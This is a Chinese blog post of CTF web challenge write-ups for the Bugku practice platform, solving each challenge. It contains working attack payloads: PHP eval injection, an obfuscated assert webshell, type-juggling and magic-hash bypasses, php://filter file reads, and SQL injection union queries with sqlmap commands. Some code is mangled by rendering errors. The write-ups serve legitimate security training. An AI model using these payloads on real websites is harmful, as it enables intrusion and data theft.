CTF Web题 部分WP

原创

wywwzjj 于 2018-11-26 14:27:34 发布 89052 收藏 32

分类专栏： CTF

本文链接：https://blog.csdn.net/weixin_42348709/article/details/84541521

版权

CTF 专栏收录该内容

9 篇文章 1 订阅

订阅专栏

1.web2

听说聪明的人都能找到答案

http://123.206.87.240:8002/web2/

CTRL + u 查看源代码

2.计算器

http://123.206.87.240:8002/yanzhengma/

改一下字符输入长度的限制

3.web基础$_GET

http://123.206.87.240:8002/get/

?var=val

4.web基础$_POST

http://123.206.87.240:8002/get/index1.php

直接用BurpSuite改包，注意先改为POST request

5.矛盾

http://123.206.87.240:8002/get/index1.php

$num = ET[num];if(!is umeric(num)) {

6.web3

flag就在这里快来找找吧

http://123.206.87.240:8002/web3/

直接查看源码，得KEY{J2sa42a

hJK-HS11III}

扔到 Burp 解码试试，解为html得flag

7.域名解析

听说把 flag.bugku.com 解析到123.206.87.240 就能拿到flag

两种办法：1.直接改本机 host 文件

2.访问时将请求头中的 host 改为flag.bugku.com

然而我两种办法都失败了，显示域名没备案，哈哈哈

8.你必须让他停下

http://123.206.87.240:8002/web12/

页面不断的自动刷新，用Burp拦截，一张图一张图看，源代码中蕴含了 flag

9.本地包含

<?php

include “flag.php”;

a= @ _REQUEST[‘hello’]; // @ 可屏蔽报错信息的显示
eval(“var_dump($a);”); // eval() 漏洞
show_source(**FILE**);
?>
show_source() 对文件进行语法高亮
hello=1);show_source(‘flag.php’);var_dump(
最终解释为：
var_dump(1);show_source(‘flag.php’);var_dump(show_source(**FILE**));

10.变量1

flag In the variable !

<?php

error_reporting(0);

include “flag1.php”;

highlight_file(**file**);

if(isset($_GET[‘args’])){

$args = KaTeX parse error: Expected group after '^' at position 35: …(!preg_match("/^̲\w+/",

args))die(”argserror!”);eval(”var ump($args);”);
}
?>

```
通过 include 或 require 语句，可以将 PHP 文件的内容插入另一个 PHP 文件

// preg_match() 正则表达式匹配函数

/^\w+$/

两个//表示开始和结束
^表示开始字符串
$表示结束字符串
\w表示包含【a-z，A-Z, _ , 0-9】
+表示一个或者多个\w

var_dump()显示一个或多个表达式的结构信息，包括表达式的类型与值。
数组将递归展开值，通过缩进显示其结构

eval()存在命令执行漏洞，我们是想查看flag1.php中的flag，
首先想到的是本地包含漏洞，查看源码，或者上传一句话木马等思路
但是条件判断加了正则表达式判断，过滤了括号和引号等字符。
PHP 在 $GLOBALS[index] 数组中存储了所有全局变量，数组的键值为变量名

$$args = $($args)

$$ --> 可变变量，允许动态改变一个变量名称
$name = "trans";
$trans = "You can see me";
echo $name.<br>;
echo $$name;

------------
结果：
 trans
 You can see me
```

11.web5

JSPFUCK???答案格式CTF{**}

http://123.206.87.240:8002/web5/

查看源代码可得：([][(![]+[])[+[]] 这种加密过后的 js 代码，直接扔到 console 跑一下就出来

12.头等舱

老办法，先看源代码，源代码还是啥也没有，看看请求头，找到了

13.网站被黑

http://123.206.87.240:8002/webshell/

这个题没技术含量但是实战中经常遇到

扫一下后台，找到后门，Burp 爆破就看到了

14.管理员系统

特别突出的是 非本地IP访问，直接改个 X-Forwarded-For:127.0.0.1，然后再爆破

X-Forwarded-For:简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。

它不是RFC中定义的标准请求头信息，在squid缓存代理服务器开发文档中可以找到该项的详细介绍。

标准格式如下：X-Forwarded-For: client1, proxy1, proxy2

HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，

告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理

15.web4

```
var p1 = ----;
var p2 = ----;
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
// 54aa2
function checkSubmit() {
var a = document.getElementById("password");
if("undefined"!=typeof a) {
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return !0;
alert("Error");
a.focus();
return !1;
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
```

明显发现有一段被 base64 加密过，解码可得

16.输入密码查看flag

http://123.206.87.240:8002/baopo/

目录提示使用爆破，5位数密码？？？

纯数字！！！

17.点击一百万次
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('' +
'' +
'');
$('body').append(form);
form.submit();
}
});
});

```
观察得，若clicks >= 1000000 则执行下面的提交表单，
索性直接 post 好了
```

18.过狗一句话
<?php
$poc = "a#s#s#e#r#t";
KaTeX parse error: Expected 'EOF', got '#' at position 18: …c_1 = explode("#̲",poc);
// explode(separator,string,limit) 函数把字符串打散为数组
$poc_2 = $poc\ [0].\text{poc\_1}[1].poc\ [2].\text{poc\_1}[3].poc\ [4].\text{poc\_1}[5];$

$$poc\ (\_\text{GET}[\text{'s'}])$$
$$?>$$
$$\text{bool assert (mixed \$assertion [, Throwable \$exception])}$$
$$\text{// 若assertion为字符串，则assertion将会被当做php代码执行，与eval()类似}$$

```
这个题遇到很多骚办法，暂时还不会做 https://www.leavesongs.com/PENETRATION/php-filter-magic.html php 伪协议
php://filter php://input // ROIS恰好也有这道题，暗示我多做题？？ // 构造序列化，注意类名 Read <?php class Read{ public
$file; } $a = new Read(); $a->file = "f1a9.php"; $a = serialize($a); print_r($a); ?> <?php class Read{//f1a9.php
public $file; public function __toString(){ if(isset($this->file)){ echo file_get_contents($this->file); }
return "__toString was called!"; } } ?> <?php $user = $_GET["user"]; $file = $_GET["file"]; $pass =
$_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){ exit(); }else{ include($file); //class.php $pass = unserialize($pass); echo
$pass; } }else{ echo "you are not admin ! "; } ?>
```

各种绕过

```
<?php
 highlight_file('flag.php');
 $_GET['id'] = urldecode($_GET['id']);   // 将URL解码
 $flag = 'flag{xxxxxxxxxxxxxxxxxx}';
 if (isset($_GET['uname']) and isset($_POST['passwd'])) {
  if ($_GET['uname'] == $_POST['passwd'])
   print 'passwd can not be uname.';
  else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
   die('Flag: '.$flag);
  else
   print 'sorry!';
 }
?>
先将 id URL编码 %6d%61%72%67%69%6e
再用数组绕过sha1()
```

linux

```
linux基础问题
得到一个压缩包，win下打不开，扔到kali解压后发现一个flag的文件，
改权限777，cat强行查看，发现flag，不过本意好像不是这样
strings 命令(此命令相当牛逼，以后再仔细学)
```

linux2

```
同上。。
```

宽带信息泄露

```
题目给的是 conf.bin 文件，.bin 相当于一个万能后缀，无法直接确定
打开看一下是二进制文件，题目强调的是宽带信息泄露,flag{宽带用户名}
网上提示了一个工具 Routerpassview
```

Javascript Tricks

```
var net = require('net');
flag='fake_flag';
var server = net.createServer(
 function(socket) {
  socket.on('data', (data) => {
   //m = data.toString().replace(/[\n\r]*$/, '');
   ok = true;
   arr = data.toString().split(' ');
   arr = arr.map(Number);
   if (arr.length != 5)   // arr长度为5
    ok = false;
   arr1 = arr.slice(0);  // 抽取从0开始的所有字符
   arr1.sort();
   for (var i=0; i<4; i++)  // 没有相同元素，正常ASCII码
    if (arr1[i+1] == arr1[i] || arr[i] < 0 || arr1[i+1] > 127)
     ok = false;
   arr2 = [];
   for (var i=0; i<4; i++)
    arr2.push(arr1[i] + arr1[i+1]);
   val = 0;
   for (var i=0; i<4; i++)
    val = val * 0x100 + arr2[i];  // 0x100 = 256
   if (val != 0x23332333)
    ok = false;
   if (ok)
    socket.write(flag+'\n');
   else
    socket.write('nope\n');
  });
  //socket.write('Echo server\r\n');
  //socket.pipe(socket);
 }
);
HOST = '0.0.0.0'
PORT = 8082
server.listen(PORT, HOST);
```

这里还要用到 netcat 简称 nc，又涨了波姿势

extract变量覆盖

```
<?php
 $flag='xxx';
 extract($_GET);
 if(isset($shiyan)){
  $content=trim(file_get_contents($flag));
  if($shiyan==$content){
   echo'flag{xxx}';
  }
  else{
   echo'Oh.no';
  }
 }
?>
extract(array[,extract_rules,prefix)]
// 数组键名作为变量名，数组键值作为变量值
// 后几个参数是解决新创建的变量与原变量的冲突问题的
// 就这个题来说，之前就有一个flag的变量了，此时GET一个flag进去就会把原flag的值覆盖掉
// 如果$flag这个文件不存在，file_get_contents($flag)将为空
// 此时只需传一个 shiyan&flag 就解决了
```

strcmp比较字符串

```
<?php
 $flag = "flag{xxxxx}";
 if (isset($_GET['a'])) {
  if (strcmp($_GET['a'], $flag) == 0)
   die('Flag: '.$flag);
  else
   print 'No';
 }
?>
// 比较两个字符串（区分大小写）正常规则:
   如果 str1 小于 str2 返回 < 0; 如果大于返回 > 0; 如果相等，返回 0。
// 如果传入的值不是字符串类型就将出故障, 并 return 0
// 比如 传一个数组 a[] ? 这题就做完了
```

urldecode二次编码绕过

```
<?php
 if(eregi("hackerDJ",$_GET[id])) {
  echo("not allowed!");
  exit();
 }
 $_GET[id] = urldecode($_GET[id]);
 if($_GET[id] == "hackerDJ") {
  echo "Access granted!";
  echo "flag";
 }
?>
int ereg(string pattern, string string, array [regs]); 区分大小写
int eregi(string $pattern, string $string [, array &$regs]) 不区分大小写的正则表达式匹配
题面已经给了思路, 将 hackerDJ 进行二次 url 编码即可绕过
```

md5()函数

```
<?php
 error_reporting(0);
 $flag = 'flag{test}';
 if (isset($_GET['username']) and isset($_GET['password'])
) {
  if ($_GET['username'] == $_GET['password'])
   print 'Your password can not be your username.';
  else if (md5($_GET['username']) === md5($_GET['password'
]))
   die('Flag: '.$flag);
  else
   print 'Invalid password';
 }
?>
数组大法好，直接 username[]&password[]=1又轻松绕过 md5()
原理：md5() 不能处理数组，md5(数组) 会返回 null
```

数组返回NULL绕过

```
<?php
 $flag = "flag";
 if (isset ($_GET['password'])) {
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
)
   echo 'You password must be alphanumeric';
  else if (strpos ($_GET['password'], '--') !== FALSE)
   die('Flag: ' . $flag);
  else
   echo 'Invalid password';
 }
?>
数组又能直接绕过？？  =>  password[]=1
原理：
 ereg() 只能处理字符，传数组将返回 null，
 三个等号的时候不会进行类型转换，所以 null!==false
 strpos() 的参数同样不能是数组，返回依旧是 null，同上

%00 截断：ereg()可以进行%00截断，这样就能绕开正则匹配  =>
password=1%00--
```

弱类型整数大小比较绕过

```
<?php
 $temp = $_GET['password'];
 is_numeric($temp) ? die("no numeric") : NULL;
 if($temp>1336){
  echo $flag;
?>
数组又能直接绕过？？
is_numeric()判断变量是否为数字或数字字符串
password=1445%00 / password=1445%20
```

sha1()函数比较绕过

```
<?php
 $flag = "flag";
 if (isset($_GET['name']) and isset($_GET['password']))
 {
  var_dump($_GET['name']);
  echo " ";
  var_dump($_GET['password']);
  var_dump(sha1($_GET['name']));
  var_dump(sha1($_GET['password']));
  if ($_GET['name'] == $_GET['password'])
   echo 'Your password can not be your name!';
  else if (sha1($_GET['name']) === sha1($_GET['password']))
   die('Flag: '.$flag);
  else
   echo 'Invalid password.';
 }
 else
  echo 'Login first!';
?>
sha1() 计算字符串的散列值
数组又能直接绕过？？
sha1() 函数无法处理数组类型，将报错并返回false，false === false条件成立
```

md5加密相等绕过

```
<?php
 $md51 = md5('QNKCDZO');
 $a = @$_GET['a'];
 $md52 = @md5($a);
 if(isset($a)){
  if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "flag{*}";
  } else {
   echo "false!!!";
  }
 }
 else{
  echo "please input a";
 }
?>
PHP 在处理哈希字符串时，会利用 != / == 来对其进行比较，它把
每个以“0e”的哈希值都解释为0。
如果两个不同的密码经过哈希以后，哈希值都是以“0e"开头的话，PH
P将认为这两个哈希值相同。

常见的payload:
QNKCDZO
0e830400451993494058024219903391

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s532378020a
0e220463095855511507588041205815
```

十六进制与数字比较

```
<?php
 error_reporting(0);
 function noother_says_correct($temp) {
  $flag = 'flag{test}';
  $one = ord('1');  //ord() 返回字符的 ASCII 码值
  $nine = ord('9');
  $number = '3735929054';
  for ($i = 0; $i < strlen($number); $i++) {
   $digit = ord($temp{$i});
   if (($digit >= $one) && ($digit <= $nine))
    return "flase";
  }
  if($number == $temp)
   return $flag;
 }
 $temp = $_GET['password'];
 echo noother_says_correct($temp);
?>
转十六进制 0xdeadc0de 绕过，别忘了加 0x
```

strpos数组绕过

```
<?php
 $flag = "flag";
 if (isset ($_GET['ctf'])) {
  if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
   echo '必须输入数字才行';
  else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
   die('Flag: '.$flag);
  else
   echo '骚年，继续努力吧啊~';
 }
?>
数组又能直接绕过？？  ctf[]={#BIUBIUbiu}
```

ereg正则%00截断

```
<?php
 $flag = "xxx";
 if (isset ($_GET['password'])) {
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
) {
   echo 'You password must be alphanumeric';
 }
 else if (strlen($_GET['password']) < 8 && $_GET['password
'] > 9999999) {
  if (strpos ($_GET['password'], '*-*') !== FALSE)
   die('Flag: ' . $flag);
  else
   echo('*-* have not been found');
 }
 else
  echo 'Invalid password';
 }
?>
1.数组绕过：password[]
2.%00截断，再加上科学计数法  =>  password=1e9%00*-*
```

数字验证正则绕过

```
<?php
 error_reporting(0);
 $flag = 'flag{test}';
 if ("POST" == $_SERVER['REQUEST_METHOD']) {
  $password = $_POST['password'];
  if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
   echo 'flag';
   exit;
  }
  while (TRUE) {
   $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:low
er:]]+)/';
   if (6 > preg_match_all($reg, $password, $arr))
    break;
   $c = 0;
   $ps = array('punct', 'digit', 'upper', 'lower'); //[[:p
unct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何
大写字母 [[:lower:]] 任何小写字母
   foreach ($ps as $pt) {
    if (preg_match("/[[:$pt:]]+/", $password))
     $c += 1;
   }
   if ($c < 3) break;
   //>=3，必须包含四种类型三种与三种以上
   if ("42" == $password) echo $flag;
   else echo 'Wrong password';
   exit;
  }
 }
?>
直接password=就出答案了？？？我？？？
```

字符？正则？

```
<?php
 highlight_file('2.php');
 $key='KEY{********************************}';
 $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:p
unct:]]/i", trim($_GET["id"]), $match);
 if( $IM ){
  die('key is: '.$key);
 }
?>
单纯的考正则表达式，只要id成功匹配就会出flag，注意!!!最后一
个是匹配任意标点符号!!!
定界符：/和/（除了\和字母数字,其它的只要是成对出现都可以看做
定界符，比如##、！！之类的）
/i 表示忽略大小写
id=key0key4434key:/a/aakeyb.
忘记了最后那个标点符号，差点怀疑人生
```

程序员本地网站

```
直接在请求头里添加 X-Forwarded-For:127.0.0.1
```

你从哪里来

```
are you from google?
将 refer 头修改为 https://www.google.com
www.google.com 都不行
http://www.google.com 都不行 :)
```

login1(SKCTF)

```
hint:SQL约束攻击
先注册  user:admin                                                   1
   passwd:Abc123
然后 用admin,Abc123也能登录上了
[约束攻击详解](https://www.freebuf.com/articles/web/124537.html)
```

md5 collision(NUPT_CTF)

```
题目是MD5碰撞，直接传一个MD5以0e开头的过去
```

秋名山老司机

```
亲请在2s内计算老司机的车速是多少
每次显示一些随机的大数相加减
我想到了py直接提交请求，然而自己独立写不出来
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
必须利用会话对象 Session()，否则提交结果的时候，页面又重新生成一个新的表达式
利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块，其次用 search() 匹配算术表达式，匹配成功后用 group() 返回算术表达式的字符串。
获得算术表达式的字符串后，直接利用 Python 的内建方法 eval() 来计算出结果，简单、暴力、快捷。
```

web8

```
txt? ? ? ?
<?php
 extract($_GET);
 if (!empty($ac)) {
  $f = trim(file_get_contents($fn));
  if ($ac === $f)
   echo "<p>This is flag:" ." $flag</p>";
  else
   echo "<p>sorry!</p>";
 }
?>
empty() 以下情况将返回TRUE
 "" (空字符串)
 0 (作为整数的0)
 0.0 (作为浮点数的0)
 "0" (作为字符串的0)
 NULL
 FALSE
 array() (一个空数组)
 $var; (一个声明了，但是没有值的变量)
单个参数的extract()自然想到变量覆盖，然而$ac又不能为空
扫了后台扫了个2.php，又提示txt，ac=txt& fn=2.php，结果没卵用，哈哈
试了好几次后选择看writeup
1.ac=flags& fn=flag.txt，这个想法真是脑洞打开
2.利用伪协议读取post，妙极了
 ac=233 & fn=php://input
 再post一个233，齐活儿
```

前女友(SKCTF)

```
<?php
 if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
  $v1 = $_GET['v1'];
  $v2 = $_GET['v2'];
  $v3 = $_GET['v3'];
  if($v1 != $v2 && md5($v1) == md5($v2)){
   if(!strcmp($v3, $flag)){
    echo $flag;
   }
  }
 }
?>
md5碰撞，数组绕过strcmp()，做完了
```

速度要快

```
我感觉你得快点!!!
查看源码  =>  <!-- OK ,now you have to post the margin what you find -->
我啊我啊，响应头里面发现了一个 flag 键名
刷新一下还会变，flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTmpNek56RXo=
那就上py脚本搞吧，注意建立会话对象 session(),否则已提交，flag又变了

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
flag = req.get(url).headers['flag']
flag = base64.b64decode(flag)
print(flag)
flag = flag.decode()  # 防止split()报错
flag = base64.b64decode(flag.split(':')[1])  # 解码两次才变成数值
print(flag)
data = {'margin':flag}
print(req.post(url,data).content)  # 此处为了看得方便可继续解码，不过没必要
```

// 一定要养成手动保存的好习惯，东西丢了还是很伤心的，又要重写

cookies欺骗

```
得到这么一个字符串：
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
还有一个地址：index.php?line=& filename=a2V5cy50eHQ= (keys.txt)
直接查看keys.txt，发现还是这么一段乱七八糟的字符串
上面那个又向一个文件包含，filename传入的还是一个base64编码，看看 aW5kZXgucGhw (index.php)
乍一看还是什么都没有，调整一下line的参数，有点东西了，一点一点扒下来
<?php
 error_reporting(0);
 $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 $line=isset($_GET['line'])?intval($_GET['line']):0;
 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 $file_list = array('0' =>'keys.txt','1' =>'index.php',);
 if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
  $file_list[2]='keys.php';
 }
 if(in_array($file, $file_list)){
  $fa = file($file);
  echo $fa[$line];
 }
?>
此时改一下 cookies，margin=margin，游戏结束

php://filter/read=convert.base64-encode/resource=/luodi/youzanyangnk/wangyi.php
```

flag在index里

```
http://123.206.87.240:8005/post/index.php?file=show.php
既然说flag在index里，看一下index源码，?file=php://filter/read=convert.base64-encode/resource=index.php
```

```
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQ
o8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmls
ZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waH
AiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSdd
Ow0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsIC
J0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxl
LCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ
0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxp
Zl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
```

解码一下

```
<?php
 error_reporting(0);
 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 $file=$_GET['file'];
 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  echo "Oh no!";
  exit();
 }
 include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
```

成绩单

```
发现一个用 post 传 id 的输入框，注入题
-1' union select 1,2,3,database()#
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#  // 这里用16进制绕过一下
-1' union select 1,2,3,skctf_flag from fl4g#

sqlmap 也能跑出来，牛
sqlmap -u URL --data="id=1"
[11:01:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
发现后台数据库是 mysql

列举所有数据库
sqlmap -u URL --data="id=1" --dbs
available databases [2]:
[*] information_schema
[*] skctf_flag

爆出所有表
sqlmap -u URL --data="id=1" -D skctf_flag --tables
Database: skctf_flag
[2 tables]
+-------+
| fl4g  |
| sc    |
+-------+

列出内容
sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -T fl4g --dump
也可以选择全弄出来: sqlmap -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -D skctf_flag --dump
Database: skctf_flag
Table: fl4g
[1 entry]
+----------------------------------+
| skctf_flag                       |
+----------------------------------+
| BUGKU{Sql_INJECT0N_4813drd8hz4}  |
+----------------------------------+
```

备份是个好习惯

```
d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
提示提到了备份，应该是备份文件源码泄漏一类的，用脚本跑下后台有没有源码
得到 index.php.bak
<?php
 include_once "flag.php";
 ini_set("display_errors", 0);
 $str = strstr($_SERVER['REQUEST_URI'], '?');
 $str = substr($str,1);
 $str = str_replace('key','',$str);
 parse_str($str);
 echo md5($key1);
 echo md5($key2);
 if(md5($key1) == md5($key2) && $key1 !== $key2){
  echo $flag."取得flag";
}
有个替换性的过滤，用 kekeyy 就能绕过
分析源码，有个 parse_str()，此函数与 extract() 差不多，将关联数组中的元素与变量联系起来
那么就可以这样传值进去，kekeyy1 & kekeyy2[]
MD5函数无法处理数组，于是可以用 kekeyy1[]=33 & kekeyy2[]=44 进行绕过
或者直接 MD5碰撞
```

?>

never give up

```
查看源码，发现一个小注释:1p.html
一打开就跳转到其他页面，拿burp抓一下，发现如下信息

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord() {
 var NewWords;
 NewWords = unescape(Words);
 document.write(NewWords);
}
OutWord();
然后，一路解码，得到代码
```

然后一路解码，得到代码

```
<script>window.location.href='http://www.bugku.com';</scri
pt>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklME
ElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBo
cCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0
QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGEl
M0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJT
VCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcu
JTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBuby
UyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNC
JTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cy
UyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNE
JTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJT
IwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUy
OSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMj
RiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3Ry
JTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcX
VpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2Ul
MEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlci
UyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUw
QSUzRiUzRQ==-->
```

```
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%2
8%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28
%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%
24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0A
if%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27n
o%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A
%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%
29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plate
form%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3
E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%2
21114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%
7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%
7B%0A%09print%20%22never%20never%20never%20give%20up%20%21
%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E
```

```
";if(!$_GET['id']) {
 header('Location: hello.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {
 echo 'no no no no no no no';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strl
en($b)>5 and eregi("111".substr($b,0,1),"1114") and substr
($b,0,1)!=4)
 require("f4l2a3g.txt");
else
 print "never never never give up !!!";
?>
```

既然是 require(f4l2a3g.txt) 直接看看这个文件？flag就直接能看到了

细心

```
出现一个假的404页面，源代码里面也啥都没有，尝试扫扫后台，发现 robots.txt
打开它，发现一个 resusl.php 文件，再进去看一下，提示 _GET['x'] == password
提交 x = admin ，结果真中了，如果还没出来，只能想办法爆破了
```

flag.php

有个登录框，点 login 没反应，题名叫 flag.php，肯定有这个文件，进去看一下
啥都没有。上面提交之所以没反应，是因为 action=#，之前猜测直接给flag.php post user & password 的值，还是没卵用，试试post hint?，还是没用，最终看别人的解释是
在flagphp处get hint=1，直接出源码了？？还是要多尝试，反正就这么多套路

```
 <?php
 error_reporting(0);
 include_once("flag.php");
 $cookie = $_COOKIE['ISecer'];
 if(isset($_GET['hint']))
  show_source(__FILE__);
